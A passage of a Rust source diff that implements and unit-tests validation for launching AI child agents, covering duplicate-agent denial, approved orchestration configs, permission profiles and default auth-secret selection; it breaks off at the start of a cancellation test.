/// config fields and default auth secrets, but they bypass interactive policy
|
||||
/// denials because they cannot present a confirmation card.
|
||||
fn prepare_request_for_execution(
|
||||
request: &mut RunAgentsRequest,
|
||||
parent_conversation_id: AIConversationId,
|
||||
terminal_view_id: EntityId,
|
||||
launched_agents: &HashMap<AIConversationId, HashMap<String, ExistingLaunchedAgent>>,
|
||||
ctx: &ModelContext<RunAgentsExecutor>,
|
||||
) -> Option<String> {
|
||||
let status = resolve_request_from_approved_config(request, parent_conversation_id, ctx);
|
||||
populate_default_auth_secret_for_execution(request, ctx);
|
||||
if let Some(reason) =
|
||||
duplicate_launched_agents_reason(request, parent_conversation_id, launched_agents, ctx)
|
||||
{
|
||||
return Some(reason);
|
||||
}
|
||||
|
||||
if AppExecutionMode::as_ref(ctx).is_autonomous() {
|
||||
return None;
|
||||
}
|
||||
|
||||
if status.is_some_and(|status| status.is_disapproved()) {
|
||||
return Some("Orchestration config was disapproved".to_string());
|
||||
}
|
||||
|
||||
if BlocklistAIPermissions::as_ref(ctx)
|
||||
.get_run_agents_setting(ctx, Some(terminal_view_id))
|
||||
.is_never_allow()
|
||||
{
|
||||
return Some(
|
||||
"Running child agents is disabled by the active execution profile.".to_string(),
|
||||
);
|
||||
}
|
||||
|
||||
if !can_execute_with_auth_secret(request, ctx) {
|
||||
return Some(
|
||||
"Cloud child agents using this harness require an API key before they can run."
|
||||
.to_string(),
|
||||
);
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
fn duplicate_launched_agents_reason(
|
||||
request: &RunAgentsRequest,
|
||||
parent_conversation_id: AIConversationId,
|
||||
launched_agents: &HashMap<AIConversationId, HashMap<String, ExistingLaunchedAgent>>,
|
||||
ctx: &ModelContext<RunAgentsExecutor>,
|
||||
) -> Option<String> {
|
||||
let requested_agents = request
|
||||
.agent_run_configs
|
||||
.iter()
|
||||
.map(|cfg| normalize_agent_name(&cfg.name).map(|name| (name, cfg.name.clone())))
|
||||
.collect::<Option<Vec<_>>>()?;
|
||||
if requested_agents.is_empty() {
|
||||
return None;
|
||||
}
|
||||
|
||||
let existing_agents =
|
||||
existing_launched_agents_for_conversation(parent_conversation_id, launched_agents, ctx);
|
||||
if existing_agents.is_empty() {
|
||||
return None;
|
||||
}
|
||||
|
||||
let duplicates = requested_agents
|
||||
.iter()
|
||||
.map(|(normalized_name, _)| existing_agents.get(normalized_name))
|
||||
.collect::<Option<Vec<_>>>()?;
|
||||
let duplicate_list = duplicates
|
||||
.iter()
|
||||
.map(|agent| format!("{} ({})", agent.name, agent.agent_id))
|
||||
.collect::<Vec<_>>()
|
||||
.join(", ");
|
||||
let addresses = duplicates
|
||||
.iter()
|
||||
.map(|agent| agent.agent_id.as_str())
|
||||
.collect::<Vec<_>>()
|
||||
.join(", ");
|
||||
|
||||
Some(format!(
|
||||
"Requested agent(s) have already been launched: {duplicate_list}. \
|
||||
Do not start duplicate child agents; send any follow-up with send_message_to_agent \
|
||||
using the existing agent id(s): {addresses}."
|
||||
))
|
||||
}
|
||||
|
||||
fn existing_launched_agents_for_conversation(
|
||||
parent_conversation_id: AIConversationId,
|
||||
launched_agents: &HashMap<AIConversationId, HashMap<String, ExistingLaunchedAgent>>,
|
||||
ctx: &ModelContext<RunAgentsExecutor>,
|
||||
) -> HashMap<String, ExistingLaunchedAgent> {
|
||||
let mut existing_agents = launched_agents
|
||||
.get(&parent_conversation_id)
|
||||
.cloned()
|
||||
.unwrap_or_default();
|
||||
|
||||
if let Some(conversation) =
|
||||
BlocklistAIHistoryModel::as_ref(ctx).conversation(&parent_conversation_id)
|
||||
{
|
||||
for exchange in conversation.all_exchanges() {
|
||||
for input in &exchange.input {
|
||||
let AIAgentInput::ActionResult { result, .. } = input else {
|
||||
continue;
|
||||
};
|
||||
let AIAgentActionResultType::RunAgents(RunAgentsResult::Launched {
|
||||
agents, ..
|
||||
}) = &result.result
|
||||
else {
|
||||
continue;
|
||||
};
|
||||
for agent in agents {
|
||||
let RunAgentsAgentOutcomeKind::Launched { agent_id } = &agent.kind else {
|
||||
continue;
|
||||
};
|
||||
let Some(normalized_name) = normalize_agent_name(&agent.name) else {
|
||||
continue;
|
||||
};
|
||||
existing_agents.entry(normalized_name).or_insert_with(|| {
|
||||
ExistingLaunchedAgent {
|
||||
name: agent.name.clone(),
|
||||
agent_id: agent_id.clone(),
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
existing_agents
|
||||
}
|
||||
|
||||
fn normalize_agent_name(name: &str) -> Option<String> {
|
||||
let trimmed = name.trim();
|
||||
(!trimmed.is_empty()).then(|| trimmed.to_ascii_lowercase())
|
||||
}
|
||||
|
||||
fn requires_default_auth_secret_for_execution(request: &RunAgentsRequest) -> bool {
|
||||
if !request.execution_mode.is_remote() {
|
||||
return false;
|
||||
}
|
||||
let Some(harness) = Harness::parse_orchestration_harness(&request.harness_type) else {
|
||||
return false;
|
||||
};
|
||||
harness != Harness::Oz && !auth_secret_types_for_harness(harness).is_empty()
|
||||
}
|
||||
|
||||
fn can_execute_with_auth_secret(
|
||||
request: &RunAgentsRequest,
|
||||
ctx: &ModelContext<RunAgentsExecutor>,
|
||||
) -> bool {
|
||||
if !requires_default_auth_secret_for_execution(request) {
|
||||
return true;
|
||||
}
|
||||
if request
|
||||
.harness_auth_secret_name
|
||||
.as_deref()
|
||||
.is_some_and(|name| !name.trim().is_empty())
|
||||
{
|
||||
return true;
|
||||
}
|
||||
default_auth_secret_name_for_harness(&request.harness_type, ctx).is_some()
|
||||
}
|
||||
|
||||
fn default_auth_secret_name_for_harness(
|
||||
harness_type: &str,
|
||||
ctx: &ModelContext<RunAgentsExecutor>,
|
||||
) -> Option<String> {
|
||||
let harness = Harness::parse_orchestration_harness(harness_type)?;
|
||||
if harness == Harness::Oz {
|
||||
return None;
|
||||
}
|
||||
CloudAgentSettings::as_ref(ctx)
|
||||
.last_selected_auth_secret
|
||||
.value()
|
||||
.get(harness.config_name())
|
||||
.cloned()
|
||||
.filter(|name| !name.trim().is_empty())
|
||||
}
|
||||
|
||||
fn populate_default_auth_secret_for_execution(
|
||||
request: &mut RunAgentsRequest,
|
||||
ctx: &ModelContext<RunAgentsExecutor>,
|
||||
) {
|
||||
if !requires_default_auth_secret_for_execution(request)
|
||||
|| request
|
||||
.harness_auth_secret_name
|
||||
.as_deref()
|
||||
.is_some_and(|name| !name.trim().is_empty())
|
||||
{
|
||||
return;
|
||||
}
|
||||
request.harness_auth_secret_name =
|
||||
default_auth_secret_name_for_harness(&request.harness_type, ctx);
|
||||
}
|
||||
|
||||
/// Unconditionally overrides run-wide fields on a `RunAgentsRequest`
|
||||
/// from the approved orchestration config, delegating to
|
||||
/// `OrchestrationEditState::override_from_approved_config`.
|
||||
fn resolve_request_from_config(request: &mut RunAgentsRequest, config: &OrchestrationConfig) {
|
||||
// The approved plan config is the source of truth for these run-wide fields,
|
||||
// so callers pass a mutable request and continue with the normalized value.
|
||||
let mut edit_state = OrchestrationEditState::from_run_agents_fields(
|
||||
&request.model_id,
|
||||
&request.harness_type,
|
||||
&request.execution_mode,
|
||||
);
|
||||
edit_state.override_from_approved_config(config);
|
||||
request.model_id = edit_state.model_id;
|
||||
request.harness_type = edit_state.harness_type;
|
||||
request.execution_mode = edit_state.execution_mode;
|
||||
}
|
||||
|
||||
/// Defence-in-depth validation; mirrors the card view's
|
||||
/// `accept_disabled_reason` check.
|
||||
fn validate_request(request: &RunAgentsRequest) -> Result<(), String> {
|
||||
if request.agent_run_configs.is_empty() {
|
||||
return Err("orchestrate: empty agent_run_configs".to_string());
|
||||
}
|
||||
if matches!(request.execution_mode, RunAgentsExecutionMode::Local) {
|
||||
if let Some(harness) = Harness::parse_local_child_harness(&request.harness_type) {
|
||||
if let Some(message) = local_harness_product_disabled_message(harness) {
|
||||
return Err(message.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
if matches!(
|
||||
request.execution_mode,
|
||||
RunAgentsExecutionMode::Remote { .. }
|
||||
) && request.harness_type.eq_ignore_ascii_case("opencode")
|
||||
{
|
||||
return Err("Remote child agents do not support the opencode harness yet.".to_string());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Joins `base_prompt` and a per-agent prompt with `"\n\n"`,
|
||||
/// falling back to whichever is non-empty.
|
||||
pub fn compose_run_agents_child_prompt(base_prompt: &str, per_agent_prompt: &str) -> String {
|
||||
let base_trimmed = base_prompt.trim();
|
||||
let per_agent_trimmed = per_agent_prompt.trim();
|
||||
match (base_trimmed.is_empty(), per_agent_trimmed.is_empty()) {
|
||||
(false, false) => format!("{base_prompt}\n\n{per_agent_prompt}"),
|
||||
(false, true) => base_prompt.to_string(),
|
||||
(true, false) => per_agent_prompt.to_string(),
|
||||
(true, true) => String::new(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Translates run-wide config into a per-child
|
||||
/// [`StartAgentExecutionMode`]. Returns `Err` for rejected
|
||||
/// combinations (e.g. OpenCode+Remote).
|
||||
///
|
||||
/// `run_auth_secret_name` is the managed-secret name the orchestration UI
|
||||
/// resolved for the run-wide harness; only Remote mode currently consumes
|
||||
/// it (Local children inherit auth from the user's shell environment).
|
||||
pub fn run_agents_to_start_agent_mode(
|
||||
run_execution_mode: &RunAgentsExecutionMode,
|
||||
run_harness_type: &str,
|
||||
run_model_id: &str,
|
||||
run_skills: &[SkillReference],
|
||||
run_auth_secret_name: Option<&str>,
|
||||
cfg: &RunAgentsAgentRunConfig,
|
||||
) -> Result<StartAgentExecutionMode, String> {
|
||||
match run_execution_mode {
|
||||
RunAgentsExecutionMode::Local => {
|
||||
let trimmed = run_harness_type.trim();
|
||||
// Propagate run-wide model selection for local launches.
|
||||
let trimmed_model_id = run_model_id.trim();
|
||||
let model_id = (!trimmed_model_id.is_empty()).then(|| trimmed_model_id.to_string());
|
||||
if trimmed.is_empty() || trimmed.eq_ignore_ascii_case("oz") {
|
||||
Ok(StartAgentExecutionMode::Local {
|
||||
harness_type: None,
|
||||
model_id,
|
||||
})
|
||||
} else {
|
||||
if let Some(harness) = Harness::parse_local_child_harness(trimmed) {
|
||||
if let Some(message) = local_harness_product_disabled_message(harness) {
|
||||
return Err(message.to_string());
|
||||
}
|
||||
}
|
||||
Ok(StartAgentExecutionMode::Local {
|
||||
harness_type: Some(trimmed.to_string()),
|
||||
model_id,
|
||||
})
|
||||
}
|
||||
}
|
||||
RunAgentsExecutionMode::Remote {
|
||||
environment_id,
|
||||
worker_host,
|
||||
computer_use_enabled,
|
||||
} => {
|
||||
// OpenCode is unsupported on Remote.
|
||||
if run_harness_type.eq_ignore_ascii_case("opencode") {
|
||||
return Err(
|
||||
"Remote child agents do not support the opencode harness yet.".to_string(),
|
||||
);
|
||||
}
|
||||
Ok(StartAgentExecutionMode::Remote {
|
||||
environment_id: environment_id.clone(),
|
||||
skill_references: run_skills.to_vec(),
|
||||
model_id: run_model_id.to_string(),
|
||||
computer_use_enabled: *computer_use_enabled,
|
||||
worker_host: worker_host.clone(),
|
||||
harness_type: run_harness_type.to_string(),
|
||||
title: cfg.title.clone(),
|
||||
auth_secret_name: run_auth_secret_name
|
||||
.map(str::to_string)
|
||||
.filter(|s| !s.trim().is_empty()),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,732 @@
|
||||
use std::collections::HashMap;
|
||||
|
||||
use ai::agent::action::{RunAgentsAgentRunConfig, RunAgentsExecutionMode, RunAgentsRequest};
|
||||
use ai::agent::orchestration_config::{
|
||||
OrchestrationConfig, OrchestrationConfigStatus, OrchestrationExecutionMode,
|
||||
};
|
||||
use settings::Setting;
|
||||
use galaxy_core::execution_mode::ExecutionMode;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use warpui::{App, Entity, EntityId, ModelHandle};
|
||||
|
||||
use super::*;
|
||||
use crate::ai::active_agent_views_model::ActiveAgentViewsModel;
|
||||
use crate::ai::agent::task::TaskId;
|
||||
use crate::ai::blocklist::{
|
||||
BlocklistAIHistoryModel, BlocklistAIPermissions, StartAgentExecutorEvent, StartAgentRequest,
|
||||
};
|
||||
use crate::ai::cloud_agent_settings::CloudAgentSettings;
|
||||
use crate::ai::document::ai_document_model::{AIDocumentModel, AIDocumentSaveStatus};
|
||||
use crate::ai::execution_profiles::profiles::AIExecutionProfilesModel;
|
||||
use crate::ai::execution_profiles::RunAgentsPermission;
|
||||
use crate::ai::mcp::templatable_manager::TemplatableMCPServerManager;
|
||||
use crate::appearance::Appearance;
|
||||
use crate::auth::AuthStateProvider;
|
||||
use crate::cloud_object::model::persistence::CloudModel;
|
||||
use crate::network::NetworkStatus;
|
||||
use crate::server::cloud_objects::update_manager::UpdateManager;
|
||||
use crate::server::ids::SyncId;
|
||||
use crate::server::sync_queue::SyncQueue;
|
||||
use crate::settings::PrivacySettings;
|
||||
use crate::terminal::cli_agent_sessions::CLIAgentSessionsModel;
|
||||
use crate::test_util::settings::initialize_settings_for_tests_with_mode;
|
||||
use crate::workspaces::team_tester::TeamTesterStatus;
|
||||
use crate::workspaces::user_workspaces::UserWorkspaces;
|
||||
use crate::{
|
||||
AgentNotificationsModel, GlobalResourceHandles, GlobalResourceHandlesProvider, LaunchMode,
|
||||
};
|
||||
|
||||
struct RunAgentsTestState {
|
||||
conversation_id: AIConversationId,
|
||||
executor: ModelHandle<RunAgentsExecutor>,
|
||||
start_agent_executor: ModelHandle<StartAgentExecutor>,
|
||||
}
|
||||
|
||||
#[derive(Default)]
|
||||
struct CapturedStartAgentRequests(Vec<StartAgentRequest>);
|
||||
|
||||
impl Entity for CapturedStartAgentRequests {
|
||||
type Event = ();
|
||||
}
|
||||
fn with_plan_id(mut action: AIAgentAction, plan_id: &str) -> AIAgentAction {
|
||||
let AIAgentActionType::RunAgents(request) = &mut action.action else {
|
||||
panic!("expected run_agents action");
|
||||
};
|
||||
request.plan_id = plan_id.to_string();
|
||||
action
|
||||
}
|
||||
|
||||
fn persist_plan_config(
|
||||
app: &mut App,
|
||||
conversation_id: AIConversationId,
|
||||
plan_id: &str,
|
||||
status: OrchestrationConfigStatus,
|
||||
) {
|
||||
persist_plan_config_with_harness(app, conversation_id, plan_id, "oz", status);
|
||||
}
|
||||
|
||||
fn persist_plan_config_with_harness(
|
||||
app: &mut App,
|
||||
conversation_id: AIConversationId,
|
||||
plan_id: &str,
|
||||
harness_type: &str,
|
||||
status: OrchestrationConfigStatus,
|
||||
) {
|
||||
BlocklistAIHistoryModel::handle(app).update(app, |history, _ctx| {
|
||||
history
|
||||
.conversation_mut(&conversation_id)
|
||||
.expect("conversation should exist")
|
||||
.set_orchestration_config_for_plan(
|
||||
plan_id.to_string(),
|
||||
OrchestrationConfig {
|
||||
model_id: "auto".to_string(),
|
||||
harness_type: harness_type.to_string(),
|
||||
execution_mode: OrchestrationExecutionMode::Remote {
|
||||
environment_id: "env-1".to_string(),
|
||||
worker_host: "warp".to_string(),
|
||||
},
|
||||
},
|
||||
status,
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn should_autoexecute_duplicate_launched_agent_denial() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::App);
|
||||
state.executor.update(&mut app, |executor, _ctx| {
|
||||
executor.record_launched_agents(
|
||||
state.conversation_id,
|
||||
&[RunAgentsAgentOutcome {
|
||||
name: "child".to_string(),
|
||||
kind: RunAgentsAgentOutcomeKind::Launched {
|
||||
agent_id: "agent-123".to_string(),
|
||||
},
|
||||
}],
|
||||
);
|
||||
});
|
||||
let action = remote_run_agents_action("oz");
|
||||
|
||||
let should_autoexecute = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor.should_autoexecute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
|
||||
assert!(should_autoexecute);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_denies_duplicate_launched_agent() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::App);
|
||||
state.executor.update(&mut app, |executor, _ctx| {
|
||||
executor.record_launched_agents(
|
||||
state.conversation_id,
|
||||
&[RunAgentsAgentOutcome {
|
||||
name: "child".to_string(),
|
||||
kind: RunAgentsAgentOutcomeKind::Launched {
|
||||
agent_id: "agent-123".to_string(),
|
||||
},
|
||||
}],
|
||||
);
|
||||
});
|
||||
let action = with_agent_name(remote_run_agents_action("oz"), "Child");
|
||||
|
||||
let execution = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into()
|
||||
});
|
||||
|
||||
let AnyActionExecution::Sync(AIAgentActionResultType::RunAgents(RunAgentsResult::Denied {
|
||||
reason,
|
||||
})) = execution
|
||||
else {
|
||||
panic!("expected synchronous run_agents denial");
|
||||
};
|
||||
assert!(reason.contains("child (agent-123)"));
|
||||
assert!(reason.contains("send_message_to_agent"));
|
||||
});
|
||||
}
|
||||
|
||||
fn initialize_run_agents_test(app: &mut App, mode: ExecutionMode) -> RunAgentsTestState {
|
||||
initialize_settings_for_tests_with_mode(app, mode, false);
|
||||
let global_resource_handles = GlobalResourceHandles::mock(app);
|
||||
app.add_singleton_model(|_| GlobalResourceHandlesProvider::new(global_resource_handles));
|
||||
let history = app.add_singleton_model(|_| BlocklistAIHistoryModel::new(vec![], &[]));
|
||||
app.add_singleton_model(|_| CLIAgentSessionsModel::new());
|
||||
app.add_singleton_model(|_| ActiveAgentViewsModel::new());
|
||||
app.add_singleton_model(AgentNotificationsModel::new);
|
||||
app.add_singleton_model(BlocklistAIPermissions::new);
|
||||
let terminal_view_id = EntityId::new();
|
||||
app.add_singleton_model(|_| AuthStateProvider::new_for_test());
|
||||
app.add_singleton_model(SyncQueue::mock);
|
||||
app.add_singleton_model(|_| NetworkStatus::new());
|
||||
app.add_singleton_model(TeamTesterStatus::mock);
|
||||
app.add_singleton_model(UpdateManager::mock);
|
||||
app.add_singleton_model(CloudModel::mock);
|
||||
app.add_singleton_model(|_| Appearance::mock());
|
||||
app.add_singleton_model(|_| AIDocumentModel::new_for_test());
|
||||
app.add_singleton_model(|_| TemplatableMCPServerManager::default());
|
||||
app.add_singleton_model(|ctx| {
|
||||
AIExecutionProfilesModel::new(&LaunchMode::new_for_unit_test(), ctx)
|
||||
});
|
||||
app.add_singleton_model(PrivacySettings::mock);
|
||||
app.add_singleton_model(UserWorkspaces::default_mock);
|
||||
let conversation_id = history.update(app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
let start_agent_executor = app.add_model(StartAgentExecutor::new);
|
||||
let executor =
|
||||
app.add_model(|_| RunAgentsExecutor::new(start_agent_executor.clone(), terminal_view_id));
|
||||
|
||||
RunAgentsTestState {
|
||||
conversation_id,
|
||||
executor,
|
||||
start_agent_executor,
|
||||
}
|
||||
}
|
||||
|
||||
fn subscribe_to_start_agent_requests(
|
||||
app: &mut App,
|
||||
start_agent_executor: &ModelHandle<StartAgentExecutor>,
|
||||
) -> ModelHandle<CapturedStartAgentRequests> {
|
||||
let captured = app.add_model(|_| CapturedStartAgentRequests::default());
|
||||
captured.update(app, |_, ctx| {
|
||||
ctx.subscribe_to_model(start_agent_executor, |captured, _, event, _ctx| {
|
||||
if let StartAgentExecutorEvent::CreateAgent(request) = event {
|
||||
captured.0.push(request.as_ref().clone());
|
||||
}
|
||||
});
|
||||
});
|
||||
captured
|
||||
}
|
||||
|
||||
fn remote_run_agents_action(harness_type: &str) -> AIAgentAction {
|
||||
AIAgentAction {
|
||||
id: AIAgentActionId::from("run-agents-action".to_string()),
|
||||
task_id: TaskId::new("run-agents-task".to_string()),
|
||||
requires_result: true,
|
||||
action: AIAgentActionType::RunAgents(RunAgentsRequest {
|
||||
summary: "Run child agent".to_string(),
|
||||
base_prompt: "Help".to_string(),
|
||||
skills: vec![],
|
||||
model_id: String::new(),
|
||||
harness_type: harness_type.to_string(),
|
||||
execution_mode: RunAgentsExecutionMode::Remote {
|
||||
environment_id: "env-1".to_string(),
|
||||
worker_host: "warp".to_string(),
|
||||
computer_use_enabled: false,
|
||||
},
|
||||
agent_run_configs: vec![RunAgentsAgentRunConfig {
|
||||
name: "child".to_string(),
|
||||
prompt: "Help".to_string(),
|
||||
title: String::new(),
|
||||
}],
|
||||
plan_id: String::new(),
|
||||
harness_auth_secret_name: None,
|
||||
}),
|
||||
}
|
||||
}
|
||||
|
||||
fn with_agent_name(mut action: AIAgentAction, name: &str) -> AIAgentAction {
|
||||
let AIAgentActionType::RunAgents(request) = &mut action.action else {
|
||||
panic!("expected run_agents action");
|
||||
};
|
||||
request.agent_run_configs[0].name = name.to_string();
|
||||
action
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn local_codex_run_agents_maps_to_local_harness_mode_when_flag_enabled() {
|
||||
let _local_codex = FeatureFlag::LocalClaudeCodexChildHarnesses.override_enabled(true);
|
||||
let cfg = RunAgentsAgentRunConfig {
|
||||
name: "child".to_string(),
|
||||
prompt: "Investigate the failure".to_string(),
|
||||
title: String::new(),
|
||||
};
|
||||
|
||||
let mode = run_agents_to_start_agent_mode(
|
||||
&RunAgentsExecutionMode::Local,
|
||||
"codex",
|
||||
"",
|
||||
&[],
|
||||
None,
|
||||
&cfg,
|
||||
)
|
||||
.expect("local Codex should be accepted when the feature flag is enabled");
|
||||
|
||||
assert_eq!(
|
||||
mode,
|
||||
StartAgentExecutionMode::Local {
|
||||
harness_type: Some("codex".to_string()),
|
||||
model_id: None,
|
||||
}
|
||||
);
|
||||
}
|
||||
|
||||
fn persist_default_auth_secret(app: &mut App, harness_config_name: &str, secret_name: &str) {
|
||||
CloudAgentSettings::handle(app).update(app, |settings, ctx| {
|
||||
let mut secrets = settings.last_selected_auth_secret.value().clone();
|
||||
secrets.insert(harness_config_name.to_string(), secret_name.to_string());
|
||||
settings
|
||||
.last_selected_auth_secret
|
||||
.set_value(secrets, ctx)
|
||||
.unwrap();
|
||||
settings
|
||||
.inherit_auth_secret_harnesses
|
||||
.set_value(HashMap::new(), ctx)
|
||||
.unwrap();
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn should_autoexecute_when_plan_has_approved_orchestration_config() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::App);
|
||||
persist_plan_config(
|
||||
&mut app,
|
||||
state.conversation_id,
|
||||
"plan-1",
|
||||
OrchestrationConfigStatus::Approved,
|
||||
);
|
||||
let action = with_plan_id(remote_run_agents_action("oz"), "plan-1");
|
||||
|
||||
let should_autoexecute = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor.should_autoexecute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
|
||||
assert!(should_autoexecute);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn should_not_autoexecute_approved_remote_non_warp_plan_without_default_auth_secret() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::App);
|
||||
persist_plan_config_with_harness(
|
||||
&mut app,
|
||||
state.conversation_id,
|
||||
"plan-1",
|
||||
"codex",
|
||||
OrchestrationConfigStatus::Approved,
|
||||
);
|
||||
let action = with_plan_id(remote_run_agents_action("oz"), "plan-1");
|
||||
|
||||
let should_autoexecute = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor.should_autoexecute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
|
||||
assert!(!should_autoexecute);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_denies_disapproved_plan_config() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::App);
|
||||
persist_plan_config(
|
||||
&mut app,
|
||||
state.conversation_id,
|
||||
"plan-1",
|
||||
OrchestrationConfigStatus::Disapproved,
|
||||
);
|
||||
let action = with_plan_id(remote_run_agents_action("oz"), "plan-1");
|
||||
|
||||
let execution = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into()
|
||||
});
|
||||
|
||||
let AnyActionExecution::Sync(AIAgentActionResultType::RunAgents(RunAgentsResult::Denied {
|
||||
reason,
|
||||
})) = execution
|
||||
else {
|
||||
panic!("expected synchronous run_agents denial");
|
||||
};
|
||||
assert_eq!(reason, "Orchestration config was disapproved");
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_denies_never_allow_profile_setting() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::App);
|
||||
set_run_agents_permission(&mut app, RunAgentsPermission::NeverAllow);
|
||||
let action = remote_run_agents_action("oz");
|
||||
|
||||
let execution = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into()
|
||||
});
|
||||
|
||||
let AnyActionExecution::Sync(AIAgentActionResultType::RunAgents(RunAgentsResult::Denied {
|
||||
reason,
|
||||
})) = execution
|
||||
else {
|
||||
panic!("expected synchronous run_agents denial");
|
||||
};
|
||||
assert_eq!(
|
||||
reason,
|
||||
"Running child agents is disabled by the active execution profile."
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn autonomous_mode_autoexecutes_and_does_not_deny_missing_api_key() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::Sdk);
|
||||
set_run_agents_permission(&mut app, RunAgentsPermission::NeverAllow);
|
||||
let action = remote_run_agents_action("codex");
|
||||
|
||||
let should_autoexecute = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor.should_autoexecute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
assert!(should_autoexecute);
|
||||
|
||||
let execution = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into()
|
||||
});
|
||||
assert!(matches!(execution, AnyActionExecution::Async { .. }));
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_publishes_every_parent_owned_plan_before_dispatch() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::Sdk);
|
||||
BlocklistAIHistoryModel::handle(&app).update(&mut app, |model, ctx| {
|
||||
model.assign_run_id_for_conversation(
|
||||
state.conversation_id,
|
||||
"00000000-0000-0000-0000-000000000001".to_string(),
|
||||
None,
|
||||
EntityId::new(),
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
let unrelated_conversation_id = AIConversationId::new();
|
||||
let (first_plan_id, second_plan_id, unrelated_plan_id) = AIDocumentModel::handle(&app)
|
||||
.update(&mut app, |model, ctx| {
|
||||
(
|
||||
model.create_document(
|
||||
"First plan",
|
||||
"# First",
|
||||
state.conversation_id,
|
||||
None,
|
||||
ctx,
|
||||
),
|
||||
model.create_document(
|
||||
"Second plan",
|
||||
"# Second",
|
||||
state.conversation_id,
|
||||
None,
|
||||
ctx,
|
||||
),
|
||||
model.create_document(
|
||||
"Unrelated plan",
|
||||
"# Unrelated",
|
||||
unrelated_conversation_id,
|
||||
None,
|
||||
ctx,
|
||||
),
|
||||
)
|
||||
});
|
||||
let captured = subscribe_to_start_agent_requests(&mut app, &state.start_agent_executor);
|
||||
let action = remote_run_agents_action("oz");
|
||||
|
||||
let execution = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into()
|
||||
});
|
||||
|
||||
assert!(matches!(execution, AnyActionExecution::Async { .. }));
|
||||
captured.read(&app, |captured, _ctx| {
|
||||
assert!(captured.0.is_empty());
|
||||
});
|
||||
AIDocumentModel::handle(&app).read(&app, |model, _ctx| {
|
||||
assert!(matches!(
|
||||
model.get_document_save_status(&first_plan_id),
|
||||
AIDocumentSaveStatus::Saving
|
||||
));
|
||||
assert!(matches!(
|
||||
model.get_document_save_status(&second_plan_id),
|
||||
AIDocumentSaveStatus::Saving
|
||||
));
|
||||
assert!(matches!(
|
||||
model.get_document_save_status(&unrelated_plan_id),
|
||||
AIDocumentSaveStatus::NotSaved
|
||||
));
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
/// A run_agents call holds in the `Publishing` state while it waits for the parent's
|
||||
/// plans to become server-backed, then dispatches children. This verifies that
|
||||
/// cancelling mid-publication prevents fan-out: even when the plan finishes publishing
|
||||
/// afterwards (resolving the wait), the post-wait dispatch is skipped because
|
||||
/// `cancel_execution` cleared the pending marker that `is_pending` guards on.
|
||||
#[test]
|
||||
fn cancel_during_plan_publication_does_not_dispatch_children() {
|
||||
